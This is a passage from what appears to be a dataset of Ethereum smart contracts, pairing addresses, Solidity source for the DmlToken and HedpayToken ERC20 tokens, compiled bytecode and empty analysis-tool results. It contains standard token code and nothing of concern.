ffffffffffffffffffffffffffffff161415156128ea57600080fd5b600360149054906101000a900460ff1615151561290657600080fd5b61291b8260015461287090919063ffffffff16565b600181905550612972826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515612abf57600080fd5b612b10816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c7390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b6781600154612c7390919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080831415612c385760009050612c57565b8183029050818382811515612c4957fe5b04141515612c5357fe5b8090505b92915050565b60008183811515612c6a57fe5b04905092915050565b6000828211151515612c8157fe5b818303905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612cdb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612d1757600080fd5b612d68826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c7390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dfb826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612ee857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820746378cfa957d2946557584fc6c28c422ccf19e0ccf85e540265f88c5e559e6b0029
{"success": true, "error": null, "results": {}}
5,857
0xbcdfe338d55c061c084d81fd793ded00a27f226d
pragma solidity ^0.4.11; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4) ; _; } mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4) ; _; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title DML Token Contract * @dev DML Token Contract * @dev inherite from StandardToken, Pasuable and Ownable by Zeppelin * @author DML team */ contract DmlToken is StandardToken, Pausable{ using SafeMath for uint; string public constant name = "DML Token"; uint8 public constant decimals = 18; string public constant symbol = 'DML'; uint public constant MAX_TOTAL_TOKEN_AMOUNT = 330000000 ether; address public minter; uint public endTime; mapping (address => uint) public lockedBalances; modifier onlyMinter { assert(msg.sender == minter); _; } modifier maxDmlTokenAmountNotReached (uint amount){ assert(totalSupply.add(amount) <= MAX_TOTAL_TOKEN_AMOUNT); _; } /** * @dev Constructor * @param _minter Contribution Smart Contract * @return _endTime End of the contribution period */ function DmlToken(address _minter, uint _endTime){ minter = _minter; endTime = _endTime; } /** * @dev Mint Token * @param receipent address owning mint tokens * @param amount amount of token */ function mintToken(address receipent, uint amount) external onlyMinter maxDmlTokenAmountNotReached(amount) returns (bool) { require(now <= endTime); lockedBalances[receipent] = lockedBalances[receipent].add(amount); totalSupply = totalSupply.add(amount); return true; } /** * @dev Unlock token for trade */ function claimTokens(address receipent) public onlyMinter { balances[receipent] = balances[receipent].add(lockedBalances[receipent]); lockedBalances[receipent] = 0; } function lockedBalanceOf(address _owner) constant returns (uint balance) { return lockedBalances[_owner]; } /** * @dev override to add validRecipient * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public validRecipient(_to) returns (bool success) { return super.transfer(_to, _value); } /** * @dev override to add validRecipient * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public validRecipient(_spender) returns (bool) { return super.approve(_spender, _value); } /** * @dev override to add validRecipient * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public validRecipient(_to) returns (bool) { return super.transferFrom(_from, _to, _value); } // MODIFIERS modifier validRecipient(address _recipient) { require(_recipient != address(this)); _; } }
0x606060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630483a7f61461013857806306fdde03146101855780630754617214610213578063095ea7b31461026857806318160ddd146102c257806323b872dd146102eb578063313ce567146103645780633197cbb6146103935780633f4ba83a146103bc57806359355736146103d15780635c975abb1461041e578063661884631461044b57806370a08231146104a557806379c65068146104f25780638456cb591461054c5780638da5cb5b1461056157806395d89b41146105b6578063a89c5be014610644578063a9059cbb1461066d578063d73dd623146106c7578063dd62ed3e14610721578063df8de3e71461078d578063f2fde38b146107c6575b600080fd5b341561014357600080fd5b61016f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506107ff565b6040518082815260200191505060405180910390f35b341561019057600080fd5b610198610817565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101d85780820151818401526020810190506101bd565b50505050905090810190601f1680156102055780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021e57600080fd5b610226610850565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561027357600080fd5b6102a8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610876565b604051808215151515815260200191505060405180910390f35b34156102cd57600080fd5b6102d56108c7565b6040518082815260200191505060405180910390f35b34156102f657600080fd5b61034a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108cd565b604051808215151515815260200191505060405180910390f35b341561036f57600080fd5b610377610920565b604051808260ff1660ff16815260200191505060405180910390f35b341561039e57600080fd5b6103a6610925565b6040518082815260200191505060405180910390f35b34156103c757600080fd5b6103cf61092b565b005b34156103dc57600080fd5b610408600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109eb565b6040518082815260200191505060405180910390f35b341561042957600080fd5b610431610a34565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61048b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a47565b604051808215151515815260200191505060405180910390f35b34156104b057600080fd5b6104dc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cd8565b6040518082815260200191505060405180910390f35b34156104fd57600080fd5b610532600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d21565b604051808215151515815260200191505060405180910390f35b341561055757600080fd5b61055f610e75565b005b341561056c57600080fd5b610574610f36565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105c157600080fd5b6105c9610f5c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106095780820151818401526020810190506105ee565b50505050905090810190601f1680156106365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561064f57600080fd5b610657610f95565b6040518082815260200191505060405180910390f35b341561067857600080fd5b6106ad600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fa5565b604051808215151515815260200191505060405180910390f35b34156106d257600080fd5b610707600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ff6565b604051808215151515815260200191505060405180910390f35b341561072c57600080fd5b610777600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111f2565b6040518082815260200191505060405180910390f35b341561079857600080fd5b6107c4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611279565b005b34156107d157600080fd5b6107fd600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113ee565b005b60066020528060005260406000206000915090505481565b6040805190810160405280600981526020017f444d4c20546f6b656e000000000000000000000000000000000000000000000081525081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000823073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156108b457600080fd5b6108be8484611546565b91505092915050565b60005481565b6000823073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561090b57600080fd5b610916858585611638565b9150509392505050565b601281565b60055481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561098757600080fd5b600360149054906101000a900460ff1615156109a257600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360149054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b58576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bec565b610b6b838261193d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d7c57fe5b816b0110f837d8942a518a000000610d9f8260005461195690919063ffffffff16565b11151515610da957fe5b6005544211151515610dba57600080fd5b610e0c83600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195690919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e648360005461195690919063ffffffff16565b600081905550600191505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ed157600080fd5b600360149054906101000a900460ff16151515610eed57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f444d4c000000000000000000000000000000000000000000000000000000000081525081565b6b0110f837d8942a518a00000081565b6000823073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610fe357600080fd5b610fed8484611974565b91505092915050565b600061108782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112d257fe5b611363600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195690919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561144a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561148657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060606004810160003690501015151561165357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415151561168f57600080fd5b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915061176084600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193d90919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f584600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195690919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061184b848361193d90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36001925050509392505050565b600082821115151561194b57fe5b818303905092915050565b600080828401905083811015151561196a57fe5b8091505092915050565b600060406004810160003690501015151561198e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156119ca57600080fd5b611a1c83600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193d90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ab183600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36001915050929150505600a165627a7a72305820cc4a19b940b5662869c66f40e20548d1972d6af64a6a865ca514b020549ece2c0029
{"success": true, "error": null, "results": {}}
5,858
0xc4d5545392f5fc57eba3af8981815669bb7e2a48
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Contactable token * @dev Basic version of a contactable contract, allowing the owner to provide a string with their * contact information. */ contract Contactable is Ownable { string public contactInformation; /** * @dev Allows the owner to set a string with their contact information. * @param _info The contact information to attach to the contract. */ function setContactInformation(string _info) public onlyOwner { contactInformation = _info; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer( IERC20 token, address to, uint256 value ) internal { require(token.transfer(to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require(token.approve(spender, value)); } } /** Function to receive approval and execute in one call */ contract ApproveAndCallFallBack { function receiveApproval(address _from, uint256 _tokens, address _token, bytes _data) public; } /** * @title HEdpAY Token Contract that can hold and transfer ERC-20 tokens */ contract HedpayToken is IERC20, Contactable { using SafeMath for uint; string public name; string public symbol; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * @dev Constructor that sets the initial contract parameters */ constructor() public { name = "HEdpAY"; symbol = "Hdp.ф"; decimals = 4; _totalSupply = 10000000000000; //1 billion * 10000 (decimals) balances[owner] = _totalSupply; } /** * @dev Return actual totalSupply value */ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } /** * @dev Get the token balance for account of token owner */ function balanceOf(address _owner) public constant returns (uint balance) { require(_owner != address(0)); return balances[_owner]; } /** * @dev Gets the specified accounts approval value * @param _owner address the tokens owner * @param _spender address the tokens spender * @return uint the specified accounts spending tokens amount */ function allowance(address _owner, address _spender) public view returns (uint) { require(_owner != address(0)); require(_spender != address(0)); return allowed[_owner][_spender]; } /** * @dev Function to transfer tokens * @param _to address the tokens recepient * @param _value uint amount of the tokens to be transferred */ function transfer(address _to, uint _value) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Function to transfer tokens from the approved `msg.sender` account * @param _from address the tokens owner * @param _to address the tokens recepient * @param _value uint amount of the tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public returns (bool success) { require(_from != address(0)); require(_to != address(0)); require(_value <= allowance(_from, msg.sender)); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); emit Approval(_from, msg.sender, allowance(_from, msg.sender)); return true; } /** * @dev Function to approve account to spend owned tokens * @param _spender address the tokens spender * @param _value uint amount of the tokens to be approved */ function approve(address _spender, uint _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** *@dev Function to approve for spender to transferFrom tokens *@param _spender address of the spender *@param _tokens the value of tokens for transferring *@param _data is used for metadata */ function 